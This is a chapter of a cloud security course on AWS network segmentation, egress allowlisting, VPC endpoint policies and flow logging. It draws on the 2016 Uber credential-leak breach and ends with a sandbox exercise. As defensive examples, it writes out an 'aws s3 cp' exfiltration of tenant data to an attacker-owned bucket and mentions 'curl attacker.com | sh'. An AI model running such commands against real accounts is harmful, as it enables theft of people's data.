Chapter 8 — Cloud network security
In one sentence
Cloud networking is software-defined, so segmentation, egress control, and private connectivity are policy objects you version and test — and the goal is a default-deny mesh where reachability requires an explicit rule and identity still gates every call.
Where we are
You know VPCs, security groups vs NACLs, and zero-trust from G1 Ch 39. This chapter is the cloud-specific practice: private access to managed services, egress architecture (the exfiltration control), and why the network is now defence in depth behind identity, not the primary boundary.
How it works
The building blocks (AWS terms; GCP/Azure analogues in parentheses):
VPC (VPC / VNet) an isolated software-defined network.
Subnet public (route to an Internet Gateway) or
private (no direct inbound from internet).
Security Group STATEFUL, instance/ENI-level allow rules.
The workhorse. Reference other SGs, not just
CIDRs ("allow from the app SG on 5432").
NACL (firewall rules) STATELESS, subnet-level, allow+deny. Coarse
backstop; easy to misuse (ephemeral ports).
Route table where traffic goes (IGW, NAT, TGW, endpoints).
NAT Gateway outbound-only internet for private subnets.
Internet Gateway bidirectional; only public subnets.
VPC Endpoint (Private
Service Connect / reach AWS services (S3, KMS, STS, ECR...)
Private Link) WITHOUT traversing the internet. Gateway
endpoints (S3/DynamoDB) or Interface
endpoints (most others). Attach an ENDPOINT
POLICY to restrict which resources/accounts.
Transit Gateway (Network
Connectivity Center / hub-and-spoke connecting many VPCs/on-prem.
vWAN)
VPC Flow Logs connection metadata (5-tuple, bytes, ACCEPT/
REJECT). A key detection source (Ch 54).
DNS (Route 53 Resolver) resolver query logging; DNS Firewall to
block known-bad / DNS-exfil domains.
Segmentation pattern for SecureShop-in-a-VPC:
VPC 10.20.0.0/16
public subnets : ALB only. SG: 443 from internet, egress to app SG.
app subnets : EKS nodes / services. SG: from ALB SG on the app
port; from itself for mesh; NO direct internet
inbound.
data subnets : RDS, ElastiCache, OpenSearch. SG: 5432/6379/9200
from the app SG ONLY. No NAT route (data tier
should not reach the internet at all).
endpoints : Interface endpoints for STS, KMS, Secrets Manager,
ECR, CloudWatch Logs, SSM; Gateway endpoint for S3.
-> app tier reaches AWS APIs privately; you can
then DENY those APIs over the internet via endpoint
+ resource policy (`aws:sourceVpce` condition).
egress : private subnets route 0.0.0.0/0 to a central
egress VPC (via TGW) running a forward proxy /
AWS Network Firewall with an FQDN ALLOWLIST.
Egress control is the exfiltration control. Default-deny outbound, allow a curated list (package mirrors, your APIs, telemetry), and log/alert on everything else.
Layers:
SG egress rules coarse (protocol/port/dest SG).
NAT + Network Firewall FQDN/domain allowlist, TLS SNI filtering,
/ forward proxy protocol enforcement. THIS is where you stop
"curl attacker.com | sh" and data exfil to an
unknown host.
Route 53 DNS Firewall block resolution of newly-registered / known-
malicious / high-entropy (DGA) domains; catch
DNS tunnelling.
VPC endpoint policies even S3 access is limited to YOUR buckets ->
blocks "exfil to my personal S3 bucket".
Flow Logs + alerts REJECTs spiking, large transfers to new
externals, connections from the data tier
outbound (should be zero).
Identity still gates the call. A reachable orders-api must still refuse an
unauthenticated or wrong-SPIFFE-identity request (Part 5). Network reachability
is necessary, not sufficient — that's the assume-breach posture (Ch 3).
Worked example
Closing the "exfil to a personal bucket" path with an endpoint policy.
THREAT: attacker with creds in the app tier runs
aws s3 cp s3://ss-exports/tenant-42/ ./ --recursive
aws s3 cp ./ s3://attacker-personal-bucket/ --recursive
The second copy leaves your account entirely.
CONTROL: the app subnets have NO NAT route to the internet for S3;
S3 is reached only via a Gateway VPC Endpoint. Attach this endpoint
policy:
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:*",
"Resource": [
"arn:aws:s3:::ss-*", "arn:aws:s3:::ss-*/*",
"arn:aws:s3:::prod-artifacts-*", "arn:aws:s3:::prod-artifacts-*/*"
]
}
Now `aws s3 cp ... s3://attacker-personal-bucket/` from the app tier
fails: the endpoint won't route to a bucket outside the allowlist, and
there's no internet path to S3's public endpoints. Add a bucket policy
on ss-exports with `Condition: {StringEquals: {"aws:sourceVpce":
"vpce-0abc..."}}` so even valid creds only work from inside the VPC.
Exfil now requires defeating the egress proxy too. Layered.
Real-world scenario: a credential leak with no network-layer backstop
Uber disclosed (and was later fined by regulators, including a
substantial FTC settlement) that its 2016 breach began with attackers
finding AWS ACCESS CREDENTIALS hard-coded in source code stored in a
PRIVATE GitHub repository, itself accessed via other stolen employee
credentials. Those AWS keys had broad enough access to reach an S3
bucket containing personal data for around 57 million riders and
drivers -- and, notoriously, Uber PAID the attackers $100,000
(initially disguised internally as a bug-bounty payout) and did not
disclose the incident for roughly a year.
THE NETWORK/ACCESS-BOUNDARY LESSON THIS CHAPTER ADDS: the leaked
credential alone shouldn't have been sufficient. Had the bucket only
been reachable via a VPC endpoint with a restrictive endpoint policy
(this chapter's exact pattern), or had the credential's IAM policy
been scoped to VPC-internal access only, a leaked key sitting on an
attacker's laptop outside Uber's network would have had NOWHERE to
connect to. Credential leaks will keep happening (G1 Ch 49); this
chapter's job is making sure a leaked credential alone isn't
sufficient for a breach of this scale.
Practice (60 min) — sandbox
- Build the SecureShop VPC pattern with Terraform: public/app/data subnets, SGs that reference SGs, no NAT route from the data tier, interface endpoints for STS/KMS/Secrets Manager, a Gateway endpoint for S3.
- From an instance in the app tier, confirm: you can reach S3 and STS
privately (check
curl -s https://sts.amazonaws.comresolves to a private IP), you cannot reach the internet generally, the data tier can't reach you or the internet. - Attach an S3 endpoint policy restricting to
ss-*. Try toaws s3 cpto a bucket you own outside that prefix — confirm it fails. - Enable VPC Flow Logs and Route 53 Resolver query logging. Generate a REJECT (hit a blocked port) and a DNS query; find both in the logs.
- Add AWS Network Firewall (or a Squid proxy) with an FQDN allowlist in an
egress subnet; route app-tier
0.0.0.0/0through it; confirmcurl https://example.comis blocked andcurl https://<allowed>works.
Across the series
- Firewalls as you'll operate them: stateful vs stateless filtering, a tested nftables policy, and
policytest(firewall intent as executable tests) in the TCP/IP guide, Chapter 53. VPNs, tunnels, and their MTU traps: Chapter 54. - Egress control against SSRF and exfiltration at the application layer: the HTTPS guide's
ssrfguard.
Common mistakes
- Treating the VPC as the security boundary. It's a layer. Identity (IAM, SPIFFE) gates the actual calls; the network limits reachability.
- No egress control. Default-allow outbound means an attacker's
curl | sh, C2 beacon, and data exfil all just work. Default-deny + allowlist. - The data tier with a NAT route. Databases don't need the internet. If yours has a route, that's an exfil lane.
- Security groups full of
0.0.0.0/0and CIDR blocks. Reference source SGs instead — it's identity-ish and survives IP changes. - NACLs used as the primary control. They're stateless and easy to break (ephemeral ports); use SGs primarily, NACLs as a coarse backstop.
- VPC endpoints without endpoint policies. An endpoint with the default allow-all still lets creds talk to any bucket/any account.
Check yourself
- Security group vs NACL: stateful/stateless, level, and which is the primary tool.
- What is a VPC endpoint and what does an endpoint policy add?
- Why is egress control specifically the exfiltration control? Name three layers of it.
- Why should the data tier have no NAT route?
- "Reachable but refused" — what makes that possible and why does it matter under assume-breach?
- How does an
aws:sourceVpcecondition on a bucket policy help?
Further reading
- Docs: AWS "VPC security best practices", "VPC endpoint policies", Network Firewall; GCP "VPC Service Controls" (a strong data-exfiltration perimeter — study this), Private Service Connect; Azure Private Link, "Hub-spoke topology".
- Deep: GCP VPC Service Controls deserves its own study — it builds a service perimeter that blocks data movement even with valid credentials.
- Talk: "Rethinking cloud egress" write-ups; Netflix's "how we do VPC" and the "metadata service SSRF" mitigations.
- Tool:
aws-network-policy-analyzer/ VPC Reachability Analyzer;cloud- custodianfor network-config guardrails.